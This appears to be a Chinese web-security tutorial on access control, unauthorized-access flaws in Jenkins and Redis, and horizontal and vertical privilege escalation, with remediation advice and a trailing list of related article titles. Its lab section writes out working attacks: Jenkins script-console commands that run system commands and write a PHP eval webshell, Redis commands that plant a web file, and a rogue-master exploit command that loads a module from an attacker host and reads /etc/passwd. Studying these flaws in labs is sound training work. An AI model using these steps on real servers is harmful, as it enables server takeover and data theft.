普及权限控制的方法、常见非授权访问漏洞以及水平越权与垂直越权的成因与利用方法、修复方法

权限控制

某个主体(subject)对某个客体(object)需要实施某种操作(operation),系统对这种操作的限制就是权限控制。
在一个安全的系统中,通过身份验证来确认主体的身份。客体是一种资源,是主体发起请求的对象。主体所能做什么,就是权限,权限可以细分为不同的能力。例如:在Linux文件系统中,将权限分为读、写、执行三种能力。

权限控制一般分为两个步骤,身份验证与授权。首先进行的是身份验证的工作,用于验证用户是谁,是否有资格登录访问系统,解决【Whoaml】的问题;第二步进行授权,用来决定用户能做什么,将系统不同的权限授予不同的账户,使其登录系统后拥有不同的操作权限,【Whatcanldo】的问题解决。
形象的来说:假设系统是一个屋子,持有钥匙的人可以开门进入屋子。那么屋子就是通过锁和钥匙来进行「身份验证」的,开门的过程对应的就是登陆。开门之后,能访问哪个屋子,什么事情能做,什么事情不能做,就是「授权】的管辖范围了

权限控制方式
ACL策略:主体-规则-客体
Linux文件权限:读、写、执行
RBAC:Web应用系统常采用此模型
Web应用权限:基于URL、基于方法、基于数据

权限控制方式
ACL

ACL,访问控制列表。在ACL中,包含用户(User)、资源(Resource)、资源操作(Operation)三个关键要素。每一项资源,都配有一个列表,记录哪些用户可以对这项资源执行哪些操作。当系统试图访问这项资源时,会检查这个列表中是否有关于当前用户的操作权限。ACL是面向“资源”的访问控制模型,机制是围绕“资源”展开的。

ACL典型示例:在Linux中,主体是系统用户,客体是被访问的文件,一个文件所能执行的操作分为读(r)、写(w)、执行(x)。这三种操作同时对应着三种主体:文件拥有者、文件拥有者所在的用户组、其他用户。主体-客体-操作这三种的对应关系构成了ACL控制访问列表,当用户访问文件时,能否成功将由ACL决定。

RBAC
名词术语
用户(user):人、机器、网络等,进行资源或服务访问的实施主体
角色(role):一个工作职能,被授予角色的用户将具有相应的权威和责任
会话(session):从用户到其激活的角色集合的一个映射
权限(permission):对受RBAC保护的一个或多个对象执行某个操作的许可
操作(operation):一个程序可执行的映像,被调用时为用户执行某些功能
客体(object):需要进行访问控制的系统资源,例如:文件、打印机、数据库记录等

RBAC
RBAC,基于角色的访问控制。RBAC认为授权实际就是Who,what,How三者之
间的关系,即Who对What进行How的操作。
Who:权限的拥用者或主体(如User、Group、Role等等)
What:权限针对的对象或资源
How:具体的权限

关于权限控制,一般有以下问题:

未授权访问

当信息系统的安全配置或权限认证的地址、授权页面存在缺陷时,有可能出现未授权访问,导致用户可以访问信息系统,进而操作重要权限、操作数据库、读取网站目录等敏感信息。
   目前存在未授权访问漏洞主要存在Web应用权限中。正常情况下,管理后台的页面应该只有管理员才能够访问,而且搜索引擎的爬虫也不应该搜索到这些页面,但这些系统未对用户访问权限进行控制,导致任意用户只要构造出了正确URL就能够访问这些页面或者用爬虫爬到页面目录

对于Web应用程序,未授权访问常发生于空口令登录及后台管理页面的访问。空口令多是因为配置问题,允许不输入用户名密码登录,修改配置可避免。后台管理页面应该只有管理员才能访问,正常情况下是不应该被前台访问到的,搜索引擎与爬虫也不应搜索到后台页面,由于系统未对用户访问权限做控制,可能被攻击者用工具或手动尝试出来。

对于数据库或一些服务组件,未授权访问可能由于一些版本中出现的漏洞,导致攻击者能读取数据库信息,读取系统的文件,甚至利用服务写文件至主机上。
目前主要存在未授权访问漏洞的服务有:
samba服务、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ElasticSearch、Memcache、docker等

测试方法
Google-Hacking
域名爆破
端口服务扫描
域名关联

案例:阿里云某未授权访问可查看业务记录

案例:Jenkins未授权访问
  Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,它能把软件开发过程形成工作流。默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

案例:Jenkins未授权访问
假如网站路径:/var/www/html(需要具备一定的权限)
利用“脚本命令行”写webshell,点击运行没有报错,写入成功

Jenkins未授权访问修复方法
升级版本
禁止把Jenkins直接暴露在公网
恢复安全设置(老版本默认开启“任何用户可以做任何事”),设置强口令密码

案例:Redis未授权访问
扫描/连接默认的6379端口
利用方式
直接读取数据库中的数据
向Web目录中写shell:需要猜到Web目录地址
写ssh-keygen公钥然后使用私钥登陆
利用crontab反弹shell

Redis未授权访问防御方法
可以配置redis.conf文件,在redis安装目录下
默认只对本地开放bind127.0.0.1
添加登陆密码:修改redis.conf文件,添加requirepass password
在需要对外开放的时候修改默认端口(端口不重复就行)port2333
配合iptables限制开放
降权:以低权限运行Redis服务(重启redis才能生效)
禁止使用root权限启动redis服务

防御解决方案
隐藏:只能阻止用户无法猜测到后台界面,爆破工具可以扫描大量后台地址
页面权限控制:可以阻挡非认证用户登录后台,即使找到后台链接,也会被认证窗口阻挡

越权访问

越权访问是Web应用程序中一种常见的逻辑漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。
  由于服务器端对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定,导致修改相关参数就可以拥有了其他账户的增、删、查、改功能,从而导致越权漏洞。

越权分类
根据数据库的操作进行分类,可以分为:
越权查询
越权删除
越权修改
越权添加

越权分类
根据维度进行分类,可以分为:
平行越权(权限类型不变,权限ID改变)

lucy的信息是通过username参数以get请求方式提交的,我们试试可不可以修改username参数查看其他人信息

攻击者尝试访问与其具有相同级别的用户资源
垂直越权(权限ID不变,权限类型改变)

抓取超级管理员修改账户信息的数据包,然后退出超级管理员身份的登录,切换到普通管理员的身份,然后用普通管理员的身份将该数据包进行重放,查看是否操作成功

抓到 管理创建

pikachu登陆修改为以下URL

http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php

发现pikachu 也可以创建用户低级别攻击者尝试访问高级别用户的资源
交叉越权(权限类型改变,权限ID也改变
交叉越权是垂直越权和水平越权的交集(既有平行越权概念,也有垂直越权
概念)

RBAC(基于角色的访问控制)权限管理模型
  RBAC权限管理模型是在新系统常用的一种用户权限管理方式,传统的权限模型中直接把权限赋予用户,而RBAC中增加了“角色”的概念,首先把权限赋予角色,在根据用户的不同需求把角色赋予用户。目前很多网站系统会采用RBAC权限管理方式,给不同用户分配不同的角色进而授予权限,角色如普通用户、审计员、管理员、超级管理员等。

水平越权原理
  水平越权原理为用户A与用户B都属于同一个角色X,但用户A与用户B都各自拥有一些私有数据,正常情况下,只有用户自己才能访问自己的私有数据,但在RBAC模型下系统只会验证用A是否属于角色×,而不会判断用户A能否访问只属于用户B的数据DataB,这样就会发生水平越权访问。

水平越权也可以把其称作访问控制攻击漏洞。Web应用程序在接收到用户的请求时进行增、删、改、查某条数据的时候,没有判断数据所对应的用户,或者在判断数据的用户时,是通过从用户表单参数中获取userid来实现的,这样就可以修改userid来实现水平越权。

水平越权案例:WooYun-2015-152381
浏览抓包时候发现该系统存在越权漏洞,通过修改某个id来遍历,可遍历出大量账号信息(登录账号),最少1500个账号。

水平越权案例:Wooyun-2010-01576
通过变化URL中的id参数即可查看对应id的个人姓名、地址等隐私信息。

垂直越权原理
垂直越权原理为高权限角色访问低权限角色的资源往往是被允许的,低权限角色访问高权限角色资源是被禁止的,如果低权限角色通过访问URL、修改标识、遍历参数等方法获得了更高权限角色的能力,这样就发生了垂直越权访问。

垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击,具体原因就是web应用没有做用户权限控制,或者只是在菜单上做了权限控制,导致恶意用户只要猜测到其他管理页面的URL,就可以访问或者控制其他角色拥有的数据或者页面,达到权限提升的目的。

垂直越权案例
普通用户访问登录页面,http://ip/login/auth
此时访问后台页面,http://ip/LecManager/view/list/4,发现能够直接查看后台数据
首先注册账号登录,对其修改资料页面进行抓包,发现了三个可疑参数admin、userid和身份,其他的参数都是我们个人资料的参数
尝试修改shenfen参数,发现身份变成了管理人员,并且导航栏多出了后台管理模块

垂直越权案例:优酷网
使用游客的身份登录系统,得到路径:
http://project.youku.com/minisite/admin/module info.php?mid=1
修改参数,访问到管理员才能访问的功能

修复方法总结
  垂直越权
      设置合适的会话管理机制,在每个涉及到高权限操作的页面进行会话验证
  水平越权
      设置合理的会话管理机制,将有关用户的标识存在服务器上
      涉及到关于用户隐私的操作时从session中取出用户标识(如id)进行操作
      不要轻信用户的每个输入越权

未授权访问:

点击“脚本命令执行”,访问http://IP:8080/script页面,可以看到网页集成了在线执行脚本命令的功能。

执行java命令printIn "Is".execute().text,调用函数执行系统命令,可以看到回显了当前目录下的文件信息,该漏洞属于未授权访问,同时也属于命令执行漏洞。

利用“脚本命令行”写webshell,点击运行没有报错,写入成功。(有的目录需要具备一定的权限才能写入)。

试试

new File ("/tmp/shell.php").write('<?php phpinfo();?>');

再写入一句话木马: new File(" /tmp/shell2.php").write('<?php @eval($_POST[cmd]);?>');

写入成功

vulhub:

redis_cli解压kali

并连接可执行info命令查看redis服务器相关信息

进入到cd redis-2.8.12

cd src

./redis-cli -h 靶机IP

靶机

cd  vulhub-master/redis/4-unacc/

docker-compose up -d

info — 查看redis信息和服务器信息

flushall — 删除所有数据      
del key — 删除键为key的数据
get key — 获得参数key的数据
config — 配置server

或使用现有exp实现远程代码执行

git clone https://github.com/vulhub/redis-rogue-getshell.git    //克隆exp项目文档(此步骤需要挂代理shadowsocks)
2.cd redis-rogue-getshell/RedisModulesSDK/exp           //进入该目录
3.make //在当前目录下生成一个exp.so文件                      //编译生成exp

./redis-master.py -r 192.168.111.137 -p 6379 -L 192.168.111.139 -P 1111 -f RedisModulesSDK/exp/exp.so -c "cat/etc/passwd"  //第一个ip是靶机,第二个ip是攻击机

我喜欢写入webshell

1.config set dir /var/tmp    //指定工作目录
2.config set dbfilename tyc.php   //设置数据库文件名
3.set trojan "<?php phpinfo();?>"    //追加写入tyc.php文件内容
4.save

逻辑漏洞——权限控制问题相关推荐

  1. 逻辑漏洞——权限类漏洞(水平权限、垂直权限)

    目录 越权 1. 平行权限跨越 1.1 基于用户身份ID 1.1.1 Step1 1.1.2 Step2 1.2 基于对象ID 1.2.1 Step1 1.2.2Step2<

  2. Waf攻防-信息收集漏洞发现漏洞利用权限控制

    目录 WAF的介绍 1.什么是WAF 2.WAF的分类 软件型WAF 硬件型WAF 云 WAF 网站内置的WAF 3.WAF的判断 WAF的绕过 1.信息收集 介绍 信息收集常见检测 信息收集绕过wa ...

  3. WAF绕过“小迪安全课堂笔记”信息收集,漏洞发现,漏洞利用,权限控制

    WAF绕过 思维导图(全) CC 攻击与 DDOS CC WAF 绕过-信息收集之反爬虫延时代理池技术 案例 Safedog-默认拦截机制分析绕过-未开CC WAF绕过-漏洞发现之代理池指纹被动探针 ...

  4. 攻防演练中的业务逻辑漏洞及检测思路

    随着各类前后端框架的成熟和完善,传统的SQL注入.XSS等常规漏洞在Web系统里逐步减少,而攻击者更倾向于使用业务逻辑漏洞来进行突破.业务逻辑漏洞,具有攻击特征少.自动化脆弱性工具无法扫出等特点,也为 ...

  5. 逻辑漏洞——验证机制问题

    普吉应用系统验证机制的脆弱点以及验证机制中的设计缺陷.执行缺陷 验证机制 身份验证是核心防御机制中最薄弱的环节,身份验证机制也是攻击者的主要攻击目标之一. 验证机制是应用程序防御恶意攻击的中心机制.它 ...

  6. 横向越权访问java_基于ThinkPhp5开发横向越权逻辑漏洞安全指南

    什么是纵向越权逻辑漏洞?纵向越权也是垂直越权指的是一个低级别攻击者尝试访问高级别用户的资源,例如本实验:普通用户获取管理员用户权限进行新增/删除便签操作. 越权漏洞是Web应用程序中一种常见的安全漏洞 ...

  7. 【逻辑漏洞】业务中常见的漏洞

    全文内容来自陈晓光.胡兵.张作峰<web攻防之业务安全实战指南>,为本人阅读时摘取的学习笔记,特此说明. [逻辑漏洞]业务中常见的漏洞 0x00(理论部分) 业务风险点识别 一.业务环节存 ...

  8. labview由于其他对话正在访问FIFO_Windows内核逻辑漏洞:IO管理器访问模式不匹配...

    概述 本文深入介绍了Windows内核中一个有趣的逻辑漏洞,以及我与Microsoft的合作伙伴共同修复的过程.如果内核和驱动程序的开发人员在访问设备对象时未考虑IO管理器的操作方式,那么漏洞所产生的 ...

  9. 【逻辑漏洞技巧拓展】————3、逻辑漏洞之密码重置

    密码找回验证条件可社工 1 只验证帐号是否存在即可修改密码 2 只验证帐号与邮箱地址是否匹配即可修改密码 3 只验证帐号与手机号是否匹配即可修改密码 密码修改页面可预测 案例介绍: 问题出现在忘记密码 ...

最新文章

  1. 把一个人的特点写具体作文_部编版五年级下册语文习作把一个人的特点写具体教案课件+范文...
  2. CBWFQ技术简介及应用配置事例
  3. IOS上路_07-简单示例-电子书
  4. weblogic java虚拟机_weblogic server 性能及调优-调优 java 虚拟机.doc
  5. python清空列表clear_如何在Python中清空列表?
  6. 设计干货素材模板|常见的UI设计手法
  7. 奇安信代码安全实验室获授华为鲲鹏计算平台漏洞奖励计划合作伙伴
  8. oracle concat和,concat和||之間是否存在性能差異?在oracle
  9. wps一直显示正在备份怎么办_做了一天的文档被误删?WPS这个功能随时准备帮你兜底...
  10. 浅谈C#的垃圾回收-关于GC、析构函数、Dispose、and Finalize asp.net GC之析构函数详解...
  11. lnmp mysql 命令_LNMP状态管理命令
  12. 【九天教您南方cass 9.1】 08 绘制等高线及对其处理
  13. innerHTML和outerHTML以及innerText和outerText之间的区别
  14. 重构碎片化知识_黄建锋:碎片化学习策略研究
  15. 莫队算法 --算法竞赛专题解析(26)
  16. 反直觉的一个游戏 - 三门问题 (Monty Hall problem)
  17. 《手把手教你》系列基础篇之(三)-java+ selenium自动化测试- 启动三大浏览器(上)(详细教程)
  18. 万国觉醒迁服务器显示该王国还未开放,万国觉醒的定点迁城怎么用?怎么获得定点迁城?...
  19. 使用Websphere的TPTP工具进行性能分析和监控
  20. 【Upload oss图片 上传失败】

热门文章

  1. wifi信号增强android,WiFi信号增强大师APP
  2. 用c51语言把连续字节做比较,C51优化设计之循环语句(转)
  3. oracle awr 数据删除,Oracle AWR 删除历史快照 说明【转自dave偶像大神】
  4. 前端遮罩层实现_css遮罩层怎么做?
  5. android注册界面高级,Android用户注册界面简单设计
  6. 基于verilog的万年历设计
  7. 外架小横杆外露长度规范要求_脚手架各部位构造要求解读!
  8. linux是数据库软件么,什么是适用于Linux的良好数据库ERD工具?
  9. docker mysql总是退出_docker 安装 mysql
  10. k8s部署jar包_使用Kubernetes部署Springboot或Nginx的详细教程